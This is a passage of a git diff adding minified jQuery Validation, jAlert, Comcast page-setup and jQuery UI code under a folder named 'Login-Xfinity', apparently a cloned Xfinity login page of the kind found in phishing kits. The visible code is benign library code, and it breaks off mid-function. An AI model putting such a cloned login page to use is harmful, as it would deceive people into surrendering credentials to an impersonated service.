this.optional(element)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value)},numberDE:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return"dependency-mismatch"} +if(/[^0-9-]+/.test(value)){return false} +var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\D/g,"");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}} +nCheck+=nDigit;bEven=!bEven} +return(nCheck%10)==0},accept:function(value,element,param){param=typeof param=="string"?param.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(element)||value.match(new RegExp(".("+param+")$","i"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode=="abort"){if(pendingRequests[port]){pendingRequests[port].abort()} +return(pendingRequests[port]=ajax.apply(this,arguments))} +return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:"focusin",blur:"focusout"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false} +this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false} +this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:"#000",draggable:true,okButton:" OK ",cancelButton:" Cancel ",dialogClass:null,alert:function(message,title,callback){if(title==null){title="Alert"} +$.alerts._show(title,message,null,"alert",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title="Confirm"} +$.alerts._show(title,message,null,"confirm",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title="Prompt"} +$.alerts._show(title,message,value,"prompt",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay("show");$("BODY").append('');if($.alerts.dialogClass){$("#popup_container").addClass($.alerts.dialogClass)} +var pos=($.browser.msie&&parseInt($.browser.version)<=6)?"absolute":"fixed";$("#popup_container").css({position:pos,zIndex:99999,padding:0,margin:0});$("#popup_title").text(title);$("#popup_content").addClass(type);$("#popup_message").text(msg);$("#popup_message").html($("#popup_message").text().replace(/\n/g,"
"));$("#popup_container").css({minWidth:$("#popup_container").outerWidth(),maxWidth:$("#popup_container").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case"alert":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();callback(true)});$("#popup_ok").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$("#popup_ok").trigger("click")}});break;case"confirm":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();if(callback){callback(true)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(false)}});$("#popup_ok").focus();$("#popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")} +if(e.keyCode==27){$("#popup_cancel").trigger("click")}});break;case"prompt":$("#popup_message").append('
').after('');$("#popup_prompt").width($("#popup_message").width());$("#popup_ok").click(function(){var val=$("#popup_prompt").val();$.alerts._hide();if(callback){callback(val)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(null)}});$("#popup_prompt, #popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")} +if(e.keyCode==27){$("#popup_cancel").trigger("click")}});if(value){$("#popup_prompt").val(value)} +$("#popup_prompt").focus().select();break} +if($.alerts.draggable){try{$("#popup_container").draggable({handle:$("#popup_title")});$("#popup_title").css({cursor:"move"})}catch(e){}}},_hide:function(){$("#popup_container").remove();$.alerts._overlay("hide");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case"show":$.alerts._overlay("hide");$("BODY").append('');$("#popup_overlay").css({position:"absolute",zIndex:99998,top:"0px",left:"0px",width:"100%",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case"hide":$("#popup_overlay").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($("#popup_container").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($("#popup_container").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0} +if(left<0){left=0} +if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()} +$("#popup_container").css({top:top+"px",left:left+"px"});$("#popup_overlay").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind("resize",$.alerts._reposition);break;case false:$(window).unbind("resize",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement=="string"){$("#nav li."+selectedNavElement+" a").addClass("selected")} +$("#nav ul:has(.selected)").show();$("#nav li li:has(ul) > a").addClass("folder");$("#nav li li:has(.selected) > a").addClass("folder-open");$("#nav li:has(.selected) > a.top-level").addClass("top-level-active");$("#nav a.top-level").click(function(){var $topNav=$("#nav a.top-level-active");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass("top-level-active")){$("#nav a.top-level-active").removeClass("top-level-active").next();$(this).addClass("top-level-active");$topNav.next();$newNav.next()}});$("#nav a.folder").click(function(){var $link=$(this);var $list=$link.next();if($link.is(".folder-open")){$link.removeClass("folder-open");$list.slideUp()}else{$link.addClass("folder-open");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(".");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}} +if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}}}function setupBatteryIndicator(){var battery=$("li.battery").text().match(/\d+/);var $icon=$("li.battery span");if(battery>90){$icon.removeClass().addClass("bat-100")}else{if(battery>60){$icon.removeClass().addClass("bat-75")}else{if(battery>39){$icon.removeClass().addClass("bat-50")}else{if(battery>18){$icon.removeClass().addClass("bat-25")}else{if(battery>8){$icon.removeClass().addClass("bat-10")}else{$icon.removeClass().addClass("bat-0")}}}}}}function setupEducationalTip(){if($("#educational-tip:has(.hidden)").length>0){var closed=true;var $link=$('more').click(function(){if(closed){$("#educational-tip .hidden").fadeIn();closed=false;$(this).html("less")}else{$("#educational-tip .hidden").fadeOut();closed=true;$(this).html("more")}}).appendTo("#educational-tip")}}function setupFirewallDisplay(){var $link=$("#security-level label");var $div=$("#security-level .hide");$($div).hide();$($link).click(function(e){$(this).siblings(".hide").slideToggle()})}function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e.preventDefault();var href=$(this).attr("href");var message=($(this).attr("title").length>0)?"Are you sure you want to "+$(this).attr("title")+"?":"Are you sure?";jConfirm(message,"Are You Sure?",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:"p",errorPlacement:function(error,element){error.appendTo(element.closest(".form-row"))}});jQuery.extend(jQuery.validator.messages,{required:"This is a required field.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}."),ipv4:"Please enter an IPv4 address in the format #.#.#.#"});$.validator.addMethod("alphanumeric",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},"Only letters and numbers are valid. No spaces or special characters.");$.validator.addMethod("exactlengths",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},"Please enter exactly {0} characters.");$.validator.addMethod("hexadecimal",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.");$.validator.addMethod("exactlength",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format("Please enter exactly {0} characters."));$.validator.addMethod("ipv4",function(value,element){return this.optional(element)||/^0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])$/i.test(value)},"Please enter an IPv4 address in the format #.#.#.#");jQuery.validator.addMethod("ip",function(val,el){function ip_valid(value){return(value.match(/^\d+$/g)&&value>=0&&value<=255)} +var inputs=$(el).closest(".form-row").find("input");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},"Please enter a valid IP address.");$.validator.addMethod("ipv6",function(value,element){return this.optional(element)||/^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$/i.test(value)},"Please enter an IPv6 address in the format");$.validator.addMethod("mac",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(".tooltip",this).fadeIn()}).mouseleave(function(){$(".tooltip",this).fadeOut()})} +return{init:function(title,navElementId){document.title=title+" - "+document.title;setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand("BackgroundImageCache",false,true)}catch(e){} +if($.browser.msie){$("input:radio, input:checkbox").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=""+originalStrin +g;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return} +var re=new RegExp("(\\w{"+characterLimit+"})","g");return originalString.replace(re,"$1 ")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)} +this.each(function(){var $c=$container=$(this);var $boxes=$c.find("li");$c.addClass("radiolist");$("li",$c).removeClass("selected");$("input:radio:checked",$c).parent().addClass("selected");$("label",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass("selected");$parent=$(this).parent().addClass("selected");$("input:radio",$c).attr("checked",false);$radio=$parent.find("input:radio").attr("checked",true);$c.trigger("change",[$radio.val()]);if(config.autoSubmitForm){$c.closest("form").submit()}})});return this}; diff --git a/sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js b/sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js new file mode 100755 index 0000000..30e2d3f --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js @@ -0,0 +1,778 @@ +/*! + * jQuery UI 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI + */ +(function(c,j){function k(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.5",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106, +NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus();b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this, +"position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position"); +if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"));if(!isNaN(b)&&b!=0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind("mousedown.ui-disableSelection selectstart.ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,l,m){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(l)g-=parseFloat(c.curCSS(f, +"border"+this+"Width",true))||0;if(m)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth,outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c.style(this,h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c.style(this, +h,d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){var b=a.nodeName.toLowerCase(),d=c.attr(a,"tabindex");if("area"===b){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&k(a)}return(/input|select|textarea|button|object/.test(b)?!a.disabled:"a"==b?a.href||!isNaN(d):!isNaN(d))&&k(a)},tabbable:function(a){var b=c.attr(a,"tabindex");return(isNaN(b)||b>=0)&&c(a).is(":focusable")}}); +c(function(){var a=document.createElement("div"),b=document.body;c.extend(a.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.appendChild(a).offsetHeight===100;b.removeChild(a).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e=0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); +;/* + * jQuery UI Position 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Position + */ +(function(c){c.ui=c.ui||{};var n=/left|center|right/,o=/top|center|bottom/,t=c.fn.position,u=c.fn.offset;c.fn.position=function(b){if(!b||!b.of)return t.apply(this,arguments);b=c.extend({},b);var a=c(b.of),d=a[0],g=(b.collision||"flip").split(" "),e=b.offset?b.offset.split(" "):[0,0],h,k,j;if(d.nodeType===9){h=a.width();k=a.height();j={top:0,left:0}}else if(d.scrollTo&&d.document){h=a.width();k=a.height();j={top:a.scrollTop(),left:a.scrollLeft()}}else if(d.preventDefault){b.at="left top";h=k=0;j= +{top:b.of.pageY,left:b.of.pageX}}else{h=a.outerWidth();k=a.outerHeight();j=a.offset()}c.each(["my","at"],function(){var f=(b[this]||"").split(" ");if(f.length===1)f=n.test(f[0])?f.concat(["center"]):o.test(f[0])?["center"].concat(f):["center","center"];f[0]=n.test(f[0])?f[0]:"center";f[1]=o.test(f[1])?f[1]:"center";b[this]=f});if(g.length===1)g[1]=g[0];e[0]=parseInt(e[0],10)||0;if(e.length===1)e[1]=e[0];e[1]=parseInt(e[1],10)||0;if(b.at[0]==="right")j.left+=h;else if(b.at[0]==="center")j.left+=h/ +2;if(b.at[1]==="bottom")j.top+=k;else if(b.at[1]==="center")j.top+=k/2;j.left+=e[0];j.top+=e[1];return this.each(function(){var f=c(this),l=f.outerWidth(),m=f.outerHeight(),p=parseInt(c.curCSS(this,"marginLeft",true))||0,q=parseInt(c.curCSS(this,"marginTop",true))||0,v=l+p+parseInt(c.curCSS(this,"marginRight",true))||0,w=m+q+parseInt(c.curCSS(this,"marginBottom",true))||0,i=c.extend({},j),r;if(b.my[0]==="right")i.left-=l;else if(b.my[0]==="center")i.left-=l/2;if(b.my[1]==="bottom")i.top-=m;else if(b.my[1]=== +"center")i.top-=m/2;i.left=parseInt(i.left);i.top=parseInt(i.top);r={left:i.left-p,top:i.top-q};c.each(["left","top"],function(s,x){c.ui.position[g[s]]&&c.ui.position[g[s]][x](i,{targetWidth:h,targetHeight:k,elemWidth:l,elemHeight:m,collisionPosition:r,collisionWidth:v,collisionHeight:w,offset:e,my:b.my,at:b.at})});c.fn.bgiframe&&f.bgiframe();f.offset(c.extend(i,{using:b.using}))})};c.ui.position={fit:{left:function(b,a){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft(); +b.left=d>0?b.left-d:Math.max(b.left-a.collisionPosition.left,b.left)},top:function(b,a){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();b.top=d>0?b.top-d:Math.max(b.top-a.collisionPosition.top,b.top)}},flip:{left:function(b,a){if(a.at[0]!=="center"){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();var g=a.my[0]==="left"?-a.elemWidth:a.my[0]==="right"?a.elemWidth:0,e=a.at[0]==="left"?a.targetWidth:-a.targetWidth,h=-2*a.offset[0]; +b.left+=a.collisionPosition.left<0?g+e+h:d>0?g+e+h:0}},top:function(b,a){if(a.at[1]!=="center"){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();var g=a.my[1]==="top"?-a.elemHeight:a.my[1]==="bottom"?a.elemHeight:0,e=a.at[1]==="top"?a.targetHeight:-a.targetHeight,h=-2*a.offset[1];b.top+=a.collisionPosition.top<0?g+e+h:d>0?g+e+h:0}}}};if(!c.offset.setOffset){c.offset.setOffset=function(b,a){if(/static/.test(c.curCSS(b,"position")))b.style.position="relative";var d= +c(b),g=d.offset(),e=parseInt(c.curCSS(b,"top",true),10)||0,h=parseInt(c.curCSS(b,"left",true),10)||0;g={top:a.top-g.top+e,left:a.left-g.left+h};"using"in a?a.using.call(b,g):d.css(g)};c.fn.offset=function(b){var a=this[0];if(!a||!a.ownerDocument)return null;if(b)return this.each(function(){c.offset.setOffset(this,b)});return u.call(this)}}})(jQuery); +;/* + * jQuery UI Draggable 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Draggables + * + * Depends: + * jquery.ui.core.js + * jquery.ui.mouse.js + * jquery.ui.widget.js + */ +(function(d){d.widget("ui.draggable",d.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== +"original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(a){var b= +this.options;if(this.helper||b.disabled||d(a.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(a);if(!this.handle)return false;return true},_mouseStart:function(a){var b=this.options;this.helper=this._createHelper(a);this._cacheHelperProportions();if(d.ui.ddmanager)d.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top- +this.margins.top,left:this.offset.left-this.margins.left};d.extend(this.offset,{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this.position=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);b.containment&&this._setContainment();if(this._trigger("start",a)===false){this._clear();return false}this._cacheHelperProportions(); +d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(a,true);return true},_mouseDrag:function(a,b){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute");if(!b){b=this._uiHash();if(this._trigger("drag",a,b)===false){this._mouseUp({});return false}this.position=b.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis|| +this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);return 